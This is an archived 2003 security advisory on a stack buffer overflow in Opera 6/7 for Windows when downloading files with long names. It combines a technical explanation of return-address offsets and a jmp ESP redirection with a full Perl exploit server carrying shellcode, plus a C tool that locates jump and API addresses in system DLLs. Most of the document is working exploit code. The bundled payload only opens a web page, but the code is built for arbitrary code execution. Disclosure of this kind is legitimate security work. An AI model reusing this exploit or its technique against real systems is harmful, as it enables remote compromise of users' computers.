TUCoPS :: Browsers :: a6054.htm

Opera long filename download buffer overflow
12th Mar 2003 [SBWID-6054]
COMMAND

	Opera long filename download buffer overflow

SYSTEMS AFFECTED

	 Opera for Windows
	 Version:        7.02 build 2668
	                 7.02 bork build 2656b
	                 7.01 build 2651
	                 6.05 build 1140
	

PROBLEM

	imagine (Operash webmaster) found following  buffer  overflow  in  Opera
	Web browser for Windows, as reported by nesumin [nesumin@softhome.net]:
	
	Opera for Windows has the pernicious security hole.
	
	Opera does not check the filename's  length  when  it  downloads  files.
	Therefore, if the file with "long filename" is  downloaded  while  Opera
	shows the "Download Dialog", a buffer overflow occurs on the stack.
	
	It can overwrite saved RET address on  the  stack,  and  it  enables  to
	execute the arbitrary code.
	
	If the Opera user downloads  the  file  which  has  long  filename  with
	malicious code inside, this vulnerability would allow  the  attacker  to
	make your computer virus infected or destructed, etc.
	
	
	Tested on :
	
	  Opera
	
	    Opera7.02 build 2668
	    Opera7.02 bork build 2656b
	    Opera7.01 build 2651
	    Opera6.05 build 1140
	
	    English edition and Japanese edition.
	
	  Platform
	
	    Windows98SE JP
	    Windows2000 Pro SP3 JP
	    WindowsXP Home SP1 JP
	
	
	Vulnerable in tested :
	
	  Opera7.02 build 2668
	  Opera7.02 bork build 2656b
	  Opera7.01 build 2651
	  Opera6.05 build 1140
	
	
	Unvulnerable in tested :
	
	  Non
	
	
	
	 Details
	 =======
	
	  * Reproduce
	
	 Step 1. Request file.
	 Step 2. Response.
	 Step 3. Try to display download dialog.
	 Step 4. Buffer Overflow occurs if it has long filename.
	
	Opera does not check the length of the name of a file to download.
	
	If Opera requests the file  and  the  server  returns  a  response,  the
	"Download Dialog" will be displayed depending on  the  contents  of  the
	response or file extensions.
	
	Then, it writes the temporary filename for checking file-type  into  the
	buffer on a stack. This temporary filename is  generated  based  on  the
	temporary directory name specified with the  user  environment  variable
	and based on the download filename.  (The  file  name  is  changed  into
	16bit WIDE characters)
	
	Buffer overflow will occur on a stack, when the  long  file  name  (more
	than the buffer size) is specified. Since the length of  the  file  name
	is not checked there.
	
	The RET address is saved on the 4 bytes area of offsets  214H  from  the
	buffer. The offset from the Filename or the File  Extension  depends  on
	the length of the temporary directory name.
	
	Shortly, there is the  temporary  directory  name  in  the  top  of  the
	buffer.
	
	And in the process of managing overwritten RET address, ESP register  is
	pointing the next RET address.
	
	Therefore, it is possible to execute the arbitrary code  by  overwriting
	the "jmp ESP" op-code address with the  RET  address,  and  setting  the
	code to the next RET address.
	
	
	It could be easy to execute arbitrary malicious codes  if  the  attacker
	specifies the filename by "Inline Frame", "Frame", "Link",  "Script"  or
	etc.
	
	But it's slightly difficult to execute arbitrary codes if  the  filename
	is specified by a Meta data  such  as  "Content-Disposition"  header  or
	etc.  That's  because  the  filename  will  be  changed  into  the  WIDE
	Character with "System Locale".
	
	Although in this case,  it  is  by  no  means  safe  because  the  stack
	corruption, like overwriting RET address by the buffer  overflow,  can't
	prevent.
	
	
	
	  * Opera 7
	
	    [Windows 2000, Windows XP]
	
	It has the area to which'd be referred after overwriting.  The  4  bytes
	area of offset 04H from the next 4bytes area of the RET address.
	
	    [Windows 9x]
	
	It has the area to which'd be referred after overwriting.  The  4  bytes
	area of offset 04H from the next 4bytes area of  the  RET  address,  and
	the  area  after  offset  2CH.  The  heap  includes  the  same  data  of
	downloaded filename which the address ESP+54H points the head address.
	
	  * Opera 6
	
	If the filename includes ".",  the  offset  value  of  the  RET  address
	starts from next of last ".".
	
	If "Encode all addresses with UTF-8" or "Determine action by MIME  type"
	is disabled,  it  could  be  difficult  to  execute  codes  because  the
	filename will be changed into the WIDE Character without "URL decode".
	
	Although in this case,  it  is  by  no  means  safe  because  the  stack
	corruption, like overwriting RET address by the buffer  overflow,  can't
	prevent.
	
	    [Windows 2000, Windows XP]
	
	It has the area to which'd be referred after overwriting.  The  4  bytes
	area of offset 04H from the next 4bytes area of the RET address.
	
	    [Windows 9x]
	
	The offset to the RET address is 244H bytes.
	
	
	You can avoid the "Exception" by preparing a writable address  value  if
	the latter area of RET|4bytes|4bytes address area is referred to.
	
	
	Sample Code : (see below)
	
	  dlfnbof.pl
	
	This sample is a little HTTP server which returns HTML with the  exploit
	code that would run Internet Explorer  using  this  vulnerability.  It's
	made with Perl and checked on Active Perl5.6.x for Windows.
	
	 * This source code is just a sample for checking this vulnerability.
	 * We will take no responsibility for any kinds of disadvantages
	   by using this code.
	
	
	 Special thanks
	 ==============
	
	  :: Operash ::
	  [ Unofficial Opera's Bug and Security information site for Japanese people ]
	
	  imagine (Operash webmaster)
	  melorin
	  piso (sexy)
	
	
	
	 Sample Code
	 ============
	
	
	#!/usr/bin/perl
	#==========================================================
	# Synopsis : Sample exploit code of
	#            "[Opera 7/6] Long Filename Buffer Overflow
	#            Vulnerability in Download"
	# Version  : Opera 6 and Opera 7
	# Vendor   : Opera Software ASA
	# Usage    : perl this -h
	#            -g option, this sample uses attached program, gpa.exe(gpa.c).
	#            gpa.exe(gpa.c) is a little program to get addresses for Windows.
	# Comment  : This sample is a little HTTP server which returns
	#            HTML with the exploitcode that would run
	#            Internet Explorer using this vulnerability.
	# Example  : [1] Execute "perl this -p 10080".
	#            [2] Open "http://127.0.0.1:10080/" by Opera.
	#            [3] If the JavaScript, Frame and IFrame are off,
	#                click the link below, "click here".
	#
	# by nesumin <nesumin@softhome.net>
	#==========================================================
	use IO::Socket;
	use IO::Select;
	use Getopt::Std;
	my ($os, $serveraddr, $opera, $raiseexception, $port,$getaddress,
	$ADDR_RET, $ADDR_GETPROCADDRESS, $ADDR_LOADLIBRARY);
	
	#---------------------
	# default setting
	#---------------------
	# server
	$serveraddr = "127.0.0.1";
	$port = 10080;
	
	# opera version(for windows 9x)
	# (6: opera6, 7: opera7)
	$opera = 7;
	
	# OS, kernel32.dll or other.
	# win2k sp3 jp
	$ADDR_RET               = 0x77E67D04;
	$ADDR_LOADLIBRARY       = 0x77E6FEE8;
	$ADDR_GETPROCADDRESS    = 0x77E7094C;
	
	#win98 jp
	#$ADDR_RET              = 0xBFF8F981;
	#$ADDR_LOADLIBRARY      = 0xBFF77750;
	#$ADDR_GETPROCADDRESS   = 0xBFF76E28;
	
	$getaddress = "gpa.exe";
	$raiseexception = 1;
	
	#----------------------------------------------------------
	
	print STDERR (" ____________________________.:.____________________________ \n");
	print STDERR ("|                                                           |\n");
	print STDERR ("|  [Opera 7/6] Long Filename Buffer Overflow Vulnerability  |\n");
	print STDERR ("*                                                           *\n");
	print STDERR ("*  This sample is a little HTTP server which returns HTML   *\n");
	print STDERR ("*  with the exploitcode that would run Internet Explorer    *\n");
	print STDERR ("|  using this vulnerability.                                |\n");
	print STDERR ("|____________________________________.[ coded by nesumin ]._|\n\n");
	
	my ($ADDR_OFFSET, $CODE_OFFSET, $FAKE_ADDR, $TEMPPRELEN,$tplhtml,
	$resheader, $url, $fakeres, $data, $code, $exploithtml, $timeout,$TEMPDIRLEN);
	
	getopts('hg:o:p:w:t:s:');
	# -h usage
	if (defined($opt_h) && $opt_h eq "1")
	{
	    Usage();
	    exit(0);
	}
	
	# -g
	if (! defined($opt_g) || $opt_g ne "1")
	{
	    die("cannot find \"$getaddress\"\n") unless (-x $getaddress);
	
	    my $tmp = qx($getaddress);
	    if ($tmp eq "" || $tmp!~m~^(0x[\dA-F]{8}),(0x[\dA-F]{8}),(0x[\dA-F]{8})~i)
	    {
	        die("cannot get address");
	    }
	    $ADDR_RET               = hex($1);
	    $ADDR_LOADLIBRARY       = hex($2);
	    $ADDR_GETPROCADDRESS    = hex($3);
	}
	printf STDERR ("RET ADDRESS\t\t0x%08X\n", $ADDR_RET);
	printf STDERR ("LOADLIBRARY\t\t0x%08X\n", $ADDR_LOADLIBRARY);
	printf STDERR ("GETPROCADDRESS\t\t0x%08X\n", $ADDR_GETPROCADDRESS);
	
	# -t
	# user's temp directory length
	# depends on victim' environment variable
	if (defined($opt_t))
	{
	    $TEMPDIRLEN     = $opt_t+0;
	    #$TEMPDIRLEN    = 0x0f; # "c:\windows\temp"
	    #$TEMPDIRLEN    = 0x22; # "C:\DOCUME~1\********\LOCALS~1\Temp"
	}
	else
	{
	    $TEMPDIRLEN     = length($ENV{'TEMP'});
	}
	printf STDERR (qq~TEMP Length\t\t%d\n~, $TEMPDIRLEN);
	
	# -o opera version
	if (defined($opt_o))
	{
	    if ($opt_o eq "6")
	    {
	        $opera = 6;
	    }
	    elsif ($opt_o eq "7")
	    {
	        $opera = 7;
	    }
	    print STDERR ("Opera version(for 9x)\t$opt_o\n");
	}
	
	# OS
	$os = (exists($ENV{OS}) && $ENV{OS} =~ /^Windows_NT/) ? 1 : 0;
	
	# -p port
	$port = $opt_p + 0 if (defined($opt_p));
	die("portno is not correct\n") if ($port < 1 && 65535 < $port);
	
	# -s server
	$serveraddr = $opt_s if (defined($opt_s) && $opt_s ne "");
	print STDERR ("server\t\t\t$serveraddr:$port\n");
	
	#----------------------------------------------------------
	# open http://www.msn.com
	$code = pack("C*",
	    0xEB,0x3E,0x5B,0x53,0xB8,0xAA,0xAA,0xAA,0xAA,0xFF,0xD0,0x8B,0xD0,0x52,0x83,0xC3,
	    0x0B,0x53,0x52,0xB8,0xBB,0xBB,0xBB,0xBB,0xFF,0xD0,0x8B,0xF0,0x5A,0x83,0xC3,0x09,
	    0x53,0x52,0xB8,0xBB,0xBB,0xBB,0xBB,0xFF,0xD0,0x8B,0xF8,0x33,0xC0,0x50,0x83,0xC3,
	    0x05,0x53,0x83,0xC3,0x13,0x53,0x53,0x40,0x50,0xFF,0xD6,0x33,0xC0,0x50,0xFF,0xD7,
	    0xE8,0xBD,0xFF,0xFF,0xFF
	);
	$code .= pack("a*x" x 5, qw~msvcrt.dll _spawnlp exit http://www.msn.com explorer.exe~);
	
	$code=~s~\xAA\xAA\xAA\xAA~pack("L", $ADDR_LOADLIBRARY)~eg;
	$code=~s~\xBB\xBB\xBB\xBB~pack("L", $ADDR_GETPROCADDRESS)~eg;
	
	
	$ADDR_OFFSET = 0x0107;
	$TEMPPRELEN = 0x0c;
	$ADDR_OFFSET -= ($TEMPDIRLEN + $TEMPPRELEN);
	
	$FAKE_ADDR = 0x00410041;    # writable address.
	
	$raiseexception and $ADDR_RET = 0xfefefefe;
	#$raiseexception and $FAKE_ADDR = 0xfefefefe;
	
	$resheader = "HTTP/1.0 200 OK\n";
	$resheader .= "Content-type: text/html; charset=UTF-16\n";
	$resheader .= "Pragma: no-cache\n";
	$resheader .= "Connection: close\n";
	$resheader .= "\n";
	
	$fakeres = "HTTP/1.0 200 OK\n";
	$fakeres .= "Content-type: application/x-AAAAAAAAAA\n";
	$fakeres .= "Pragma: no-cache\n";
	$fakeres .= "Connection: close\n";
	$fakeres .= "\n";
	$fakeres .= "\xff"; # for Opera 6, binary.
	$fakeres .= "Love & Peace :)\n";
	
	$url = "http://" . $serveraddr . ":" . $port . "/";
	$url=~s~(.)~$1\x00~sg;
	$tplhtml = <<_HTML_;
	<html>
	<head>
	<meta http-equiv="content-type" content="text/html; charset=UTF-16">
	<title></title>
	</head>
	<script language="JavaScript">
	<!--
	document.location.href = "{url}";
	//-->
	</script>
	<noscript>
	<frameset>
	 <frame src="{url}">
	</frameset>
	<noframe>
	<body>
	<iframe src="{url}" width="0" height="0"></iframe>
	<a title="click here" href="{url}">click here</a>
	</body>
	</noframe>
	</noscript>
	</html>
	_HTML_
	$tplhtml=~s~(.)~$1\x00~gs;
	my $replace = "{url}";
	$replace=~s~(.)~$1\x00~gs;
	
	#----
	$timeout = undef;
	my (%CLIENTS,$readbuf);
	my $ssocket = new IO::Socket::INET(LocalPort=>$port, Listen=>SOMAXCONN, Reuse=>1) || die("$!");
	print STDERR ("-" x 62, "\n");
	print STDERR ("server started\n");
	my $selecter = IO::Select->new($ssocket);
	
	while (1)
	{
	    foreach my $active (@{(IO::Select->select($selecter,$timeout,undef,undef))[0]})
	    {
	        if ($active == $ssocket)
	        {
	            my $csocket = $ssocket->accept();
	            if (! defined($csocket))
	            {
	                print STDERR ("accept error  $!\n");
	                next;
	            }
	            print STDERR ("incoming client, $active\n");
	            $csocket->autoflush();
	            $selecter->add($csocket);
	        }
	        else
	        {
	            if ($active->recv($readbuf, 1024) && 0 < length($readbuf))
	            {
	                $CLIENTS{$active} .= $readbuf;
	                if (0 <= rindex($CLIENTS{$active}, "\r\n\r\n"))
	                {
	                    if ($CLIENTS{$active}=~m~^GET (\S+) HTTP~is)
	                    {
	                        print STDERR ("request\n$CLIENTS{$active}\n");
	
	                        if ($1 eq "/")
	                        {
	                            $CLIENTS{$active}=~m~\nUser-Agent:\s+(.+)~i;
	                            my $ua = $1;
	                            if (!defined($opt_o) && $ua ne '')
	                            {
	                                #opera
	                                $opera = $ua =~m~Opera[/ ]?6~i ? 6 : 7;
	                                #$os = $ua =~m~Windows ?(?:NT|XP|2000)~i ? 1 : 0;
	                            }
	
	                            if ($os == 0)           # 9x
	                            {
	                                if ($opera == 7)
	                                {
	                                    $data = $code;
	                                    $data .= "\x90" x (($ADDR_OFFSET-1)*2-length($data));
	                                    $data .= pack("L", $ADDR_RET);
	                                    $data .= pack("C*", 0x90,0x90);
	                                    $data .= pack("C*", 0xEB,0x04); # jmp
	                                    $data .= pack("L", $FAKE_ADDR);
	                                    # call dword ptr[esp+54h] // [esp+54h] is another pointer that is same filename data on heap.
	                                    $data .= pack("C*", 0xFF, 0x54, 0x24, 0x54);
	                                }
	                                elsif ($opera == 6)
	                                {
	                                    $data = "\x41\x00" x ($ADDR_OFFSET+24);
	                                    $data .= pack("L", $ADDR_RET);
	                                    $data .= $code;
	                                }
	                            }
	                            elsif ($os == 1)        # 2k, xp
	                            {
	                                $data = "\x41\x00" x ($ADDR_OFFSET-1);
	                                $data .= pack("L", $ADDR_RET);
	                                $data .= pack("C*", 0xEB,0x06); # jmp code
	                                $data .= pack("C*", 0x90,0x90);
	                                $data .= pack("L", $FAKE_ADDR);
	                                $data .= $code;
	                            }
	
	                            $data = $url . $data;
	                            $data .= "\x90" if length($data)&1;
	                            $exploithtml = $tplhtml;
	                            $exploithtml=~s~$replace~$data~gs;
	                            $exploithtml = pack("C*",0xff,0xfe) . $exploithtml;
	
	                            $active->send($resheader . $exploithtml);
	                            print STDERR ("send response\n$resheader$exploithtml\n");
	                            print STDERR ("$url\n");
	
	                        }
	                        else
	                        {
	                            $active->send($fakeres);
	                            print STDERR ("response\n$fakeres\n");
	                        }
	                    }
	                }
	                elsif (0xffff > length($CLIENTS{$active}))
	                {
	                    next;
	                }
	                else
	                {
	                    $active->send("HTTP/1.0 400 Bad Request\r\n\r\n\r\n");
	                }
	            }
	            print STDERR ("client closed, $active\n");
	
	            delete($CLIENTS{$active});
	            $selecter->remove($active);
	            $active->close();
	        }
	    }
	}
	
	$ssocket->close();
	
	exit(0);
	
	sub Usage
	{
	    printf STDERR ("Usage: perl %s [-h] [-g] [-s servername] [-p port]\n", ($0=~m~([^\\/]+?)$~)[0]||"/");
	    print STDERR ("       [-w os] [-t length_of_tempdir]\n");
	    print STDERR ("Options:\n");
	    print STDERR ("  -h print Usage\n");
	    print STDERR ("  -g don't use gpa.exe\n");
	    print STDERR ("  -s specify server name                     (default: $serveraddr)\n");
	    print STDERR ("  -p specify server port(1024-65535),        (default: $port)\n");
	    print STDERR ("  -o specify Opera version {6|7},            (default: 7)\n");
	    printf STDERR ("  -t specify length of temporary directory name, (default: %d)\n",length($ENV{'TEMP'}));
	    print STDERR ("\n");
	}
	
	__END__
	
	
	
	
	 Tool to check return adresses
	 =============================
	
	
	//
	// This little program returns the addresses of LoadLibraryA(),
	// GetProcAddress(), and "jmp ESP" on your Windows.
	//
	// If your compiler cannot use SEH,
	// please comment out "#define USE_SEH"
	//
	#include <stdio.h>
	
	//===================================================================//
	// a general routine, search in memory
	#include <windows.h>
	#include <psapi.h>
	
	#define USE_SEH
	
	//---------- data for search address ------------
	const unsigned char *DllList[]={
	    "kernel32.dll",// do not edit kernel32.dll
	    "user32.dll",
	    "gdi32.dll",
	    "advapi.dll",
	    "imm32.dll",
	    "winmm.dll",
	    "ole32.dll",
	    "netapi32.dll"
	};
	
	#define DllCount (sizeof(DllList)/sizeof(unsigned char *))
	
	const unsigned char *JmpESPList[3]={
	    "\xFF\xD4",
	    "\xFF\xE4",
	    "\x54\xC3"
	};
	
	int isAddrAvailableChar(unsigned long IN_addr)
	{
	    // exclude 0x0000,0xffff,0x002f,0x003e,0x0040,0x0025
	    return(
	        (IN_addr & 0x0000ffff)
	        && (IN_addr & 0xffff0000)
	        && ((IN_addr & 0x0000ffff) != 0x0000ffff)
	        && ((IN_addr & 0xffff0000) != 0xffff0000)
	        && ((IN_addr & 0x0000ffff) != 0x0000002f)
	        && ((IN_addr & 0xffff0000) != 0x002f0000)
	        && ((IN_addr & 0x0000ffff) != 0x00000022)
	        && ((IN_addr & 0xffff0000) != 0x00220000)
	        && ((IN_addr & 0x0000ffff) != 0x0000003e)
	        && ((IN_addr & 0xffff0000) != 0x003e0000)
	        && ((IN_addr & 0x0000ffff) != 0x00000040)
	        && ((IN_addr & 0xffff0000) != 0x00400000)
	        && ((IN_addr & 0x0000ffff) != 0x00000025)
	        && ((IN_addr & 0xffff0000) != 0x00250000)
	    );
	}
	
	unsigned char * searchInMem(unsigned char *IN_start,int IN_size, const unsigned char *IN_data, int IN_data_size)
	{
	    unsigned char *cur_pos = IN_start + IN_size - IN_data_size;
	
	#ifdef USE_SEH
	    __try
	    {
	#endif
	        while (cur_pos >= IN_start)
	        {
	            if ( 0 == memcmp(cur_pos, IN_data, IN_data_size)
	                && isAddrAvailableChar((unsigned long)cur_pos) )
	                return cur_pos;
	            --cur_pos;
	        }
	#ifdef USE_SEH
	    }
	    __except((STATUS_ACCESS_VIOLATION == GetExceptionCode())
	        ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH)
	    {
	    }
	#endif
	
	    return 0;
	}
	
	int getAddress(unsigned long *OUT_jmp,unsigned long *OUT_loadlib,unsigned long *OUT_getproc)
	{
	    int i,j;
	    HMODULE hlist[DllCount];
	    OSVERSIONINFO info;
	
	    info.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
	    GetVersionEx(&info);
	
	    memset(hlist,0,sizeof(hlist));
	    if (info.dwPlatformId==VER_PLATFORM_WIN32_NT)
	    {
	        // NT
	        MODULEINFO minfo;
	        HMODULE psapi = LoadLibrary("psapi.dll");
	        BOOL (WINAPI *fp_GetModuleInformation)(HANDLE,HMODULE,LPMODULEINFO,DWORD);
	
	        fp_GetModuleInformation = (void*)GetProcAddress(psapi,"GetModuleInformation");
	        for (i=0;i<DllCount;++i)
	        {
	            hlist[i] = LoadLibrary(DllList[i]);
	            if (hlist[i])
	            {
	                fp_GetModuleInformation(GetCurrentProcess(),hlist[i],&minfo,sizeof(MODULEINFO));
	
	                for (j=0;j<3 && !(*OUT_jmp = (unsigned long)searchInMem((void*)hlist[i],minfo.SizeOfImage,JmpESPList[j],2));++j);
	                if (*OUT_jmp)
	                {
	                    break;
	                }
	            }
	        }
	        FreeLibrary(psapi);
	    }
	    else
	    {
	        // 9x
	        MEMORY_BASIC_INFORMATION minfo;
	        for (i=0;i<DllCount;++i)
	        {
	            hlist[i] = LoadLibrary(DllList[i]);
	            if (hlist[i])
	            {
	                VirtualQuery(hlist[i],&minfo,sizeof(MEMORY_BASIC_INFORMATION));
	
	                for (j=0;j<3 && !(*OUT_jmp = (unsigned long)searchInMem((void*)hlist[i],minfo.RegionSize,JmpESPList[j],2));++j);
	                if (*OUT_jmp)
	                {
	                    break;
	                }
	            }
	        }
	    }
	    // kernel32.dll
	    *OUT_loadlib = (unsigned long)GetProcAddress(hlist[0],"LoadLibraryA");
	    *OUT_getproc = (unsigned long)GetProcAddress(hlist[0],"GetProcAddress");
	
	    for (i=0;i<DllCount;++i)
	        if (0 != hlist[i])
	            FreeLibrary(hlist[i]);
	
	    return (*OUT_jmp && *OUT_loadlib && *OUT_getproc) ? 1 : 0;
	}
	
	//----------------------------------------------------
	
	int main()
	{
	    unsigned long jmpesp,loadlib,getproc;
	    if (!getAddress(&jmpesp,&loadlib,&getproc))
	        return -1;
	
	    printf("0x%X,0x%X,0x%X",jmpesp,loadlib,getproc);
	    return 0;
	}
	
	

SOLUTION

	Vendor said that this issue would be fixed in the next version  due  out
	very soon.

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH